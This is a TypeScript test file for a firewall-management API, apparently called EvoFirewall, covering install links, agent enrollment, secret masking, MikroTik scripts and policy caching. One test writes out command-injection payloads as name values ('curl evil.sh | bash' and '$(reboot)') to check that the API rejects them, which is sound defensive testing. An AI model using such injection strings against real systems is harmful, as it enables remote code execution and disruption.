Files
EvoFirewall/apps/api/src/services/install-links.test.ts
T
Denozordec 15b5cce8cc
quality / commitlint (push) Skipped
quality / changes (push) Failing after 8s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
CD / quality (push) Failing after 9s
quality / docker-check (push) Skipped
CD / publish (push) Skipped
chore(ci): request-id, RBAC stats, web-тесты и гигиена CI
- genReqId (uuid) + x-request-id в каждом ответе и request_id в error
  envelope — корреляция ошибок между клиентом и логами
- RBAC: /agents/:id/(stats|blocked-ips|blocked-ports) классифицируются
  как fw:stats:read (reset остаётся под fw:agents:write)
- web: test-скрипт + 10 unit-тестов (filter-utils, fleet-kpis, parseClaims, nav)
- typecheck-скрипты для api/shared/db; CI: тесты shared и web, typecheck
  всех пакетов
- гигиена: .node-version (22), актуальный .dockerignore, drizzle out →
  ./migrations, удалены 12 лишних .gitkeep и пустой apps/api/test
2026-09-20 20:08:14 +07:00

384 lines
12 KiB
TypeScript

import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('install-links', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('creates invited agent and serves scripts by id and slug', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web-01', platform: 'linux' },
})
expect(created.statusCode).toBe(201)
const body = created.json() as {
id: string
slug: string
agent_id: string
curl: { by_id: string; by_slug: string }
}
expect(body.id).toBeTruthy()
expect(body.slug).toBeTruthy()
expect(body.agent_id).toBeTruthy()
expect(body.curl.by_id).toContain(`/agent-install/${body.id}`)
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
expect(agents.statusCode).toBe(200)
const list = agents.json() as {
items: {
id: string
status: string
install_curl?: string | null
}[]
}
const invited = list.items.find((a) => a.id === body.agent_id)
expect(invited?.status).toBe('invited')
expect(invited?.install_curl).toContain(body.slug)
const byId = await app.inject({
method: 'GET',
url: `/agent-install/${body.id}`,
})
expect(byId.statusCode).toBe(200)
expect(byId.headers['content-type']).toContain('text/x-shellscript')
expect(byId.body).toContain("EVOFW_CLIENT_NAME='web-01'")
expect(byId.body).toContain(`EVOFW_INSTALL_LINK_ID='${body.id}'`)
const bySlug = await app.inject({
method: 'GET',
url: `/${body.slug}`,
})
expect(bySlug.statusCode).toBe(200)
expect(bySlug.body).toContain("EVOFW_CP_URL='https://fw.example.com'")
})
it('enroll with install_link_id updates invited agent to pending', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web-02', platform: 'linux' },
})
const link = created.json() as { id: string; agent_id: string }
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'web-02',
hostname: 'host-02',
platform: 'linux',
token: 'evofw_test_token_1234567890abcd',
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
const enrolled = enroll.json() as { id: string; status: string }
expect(enrolled.id).toBe(link.agent_id)
expect(enrolled.status).toBe('pending')
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
const list = agents.json() as { items: { id: string; status: string }[] }
const row = list.items.find((a) => a.id === link.agent_id)
expect(row?.status).toBe('pending')
})
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'mt-01', platform: 'mikrotik' },
})
expect(created.statusCode).toBe(201)
const body = created.json() as {
id: string
slug: string
agent_id: string
curl: { by_id: string; by_slug: string }
}
expect(body.curl.by_id).toContain('/tool fetch url=')
expect(body.curl.by_id).toContain('/import file-name=evofw-install.rsc')
expect(body.curl.by_id).not.toContain('| bash')
const byId = await app.inject({
method: 'GET',
url: `/agent-install/${body.id}`,
})
expect(byId.statusCode).toBe(200)
expect(byId.headers['content-type']).toContain('text/plain')
expect(byId.body).toContain(':global EvofwCpUrl "https://fw.example.com"')
expect(byId.body).toContain(`:global EvofwInstallLinkId "${body.id}"`)
expect(byId.body).toContain('evofw-deny-drop-input')
expect(byId.body).toContain('/v1/agent/policy')
expect(byId.body).toContain(':deserialize')
expect(byId.body).toContain('evofw-sync-body')
expect(byId.body).toContain('remove [find name="evofw-env"]')
})
it('approved agent can fetch empty policy without rule sets', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'empty-policy', platform: 'linux' },
})
const link = created.json() as { id: string; agent_id: string }
const token = 'evofw_empty_policy_token_abcdefgh'
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'empty-policy',
platform: 'linux',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
const policy = await app.inject({
method: 'GET',
url: '/v1/agent/policy',
headers: { authorization: `Bearer ${token}` },
})
expect(policy.statusCode).toBe(200)
const body = policy.json() as {
deny_cidrs: string[]
allow_cidrs: string[]
default_action: string
policy_mode: string
apply_version: number
hash: string
script_sha256: string
}
expect(body.deny_cidrs).toEqual([])
expect(body.allow_cidrs).toEqual([])
expect(body.default_action).toBe('accept')
expect(body.policy_mode).toBe('blacklist')
expect(body.apply_version).toBe(3)
expect(body.hash).toMatch(/^sha256:/)
expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/)
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
const row = (
agents.json() as { items: { id: string; last_seen_at: string | null }[] }
).items.find((a) => a.id === link.agent_id)
expect(row?.last_seen_at).toBeTruthy()
})
it('approved agent can fetch policy.rsc with address-list commands', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'mt-policy', platform: 'mikrotik' },
})
const link = created.json() as { id: string; agent_id: string }
const token = 'evofw_mt_policy_token_abcdefghij'
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'mt-policy',
platform: 'mikrotik',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
// add a deny override so policy has a CIDR
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/overrides`,
payload: { action: 'deny', cidr: '203.0.113.0/24' },
})
const rsc = await app.inject({
method: 'GET',
url: '/v1/agent/policy.rsc',
headers: { authorization: `Bearer ${token}` },
})
expect(rsc.statusCode).toBe(200)
expect(rsc.headers['content-type']).toContain('text/plain')
expect(rsc.body).toContain('address-list')
expect(rsc.body).toContain('EVOFW_DENY')
expect(rsc.body).toContain('203.0.113.0/24')
})
it('sync-script serves ETag and 304 on If-None-Match', async () => {
const app = await appPromise
await app.ready()
const first = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
})
expect(first.statusCode).toBe(200)
expect(first.body.startsWith('#!')).toBe(true)
expect(first.body).toContain('maybe_self_update')
const etag = String(first.headers.etag ?? '')
const sha = String(first.headers['x-evofw-script-sha256'] ?? '')
expect(etag).toMatch(/^"[a-f0-9]{64}"$/)
expect(sha).toBe(etag.replaceAll('"', ''))
const cached = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
headers: { 'if-none-match': etag },
})
expect(cached.statusCode).toBe(304)
const miss = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
headers: { 'if-none-match': '"deadbeef"' },
})
expect(miss.statusCode).toBe(200)
expect(miss.body).toBe(first.body)
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'script-sha-policy', platform: 'linux' },
})
const link = created.json() as { id: string; agent_id: string }
const token = 'evofw_script_sha_token_abcdefghij'
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'script-sha-policy',
platform: 'linux',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
const policy = await app.inject({
method: 'GET',
url: '/v1/agent/policy',
headers: { authorization: `Bearer ${token}` },
})
expect(policy.statusCode).toBe(200)
expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha)
})
})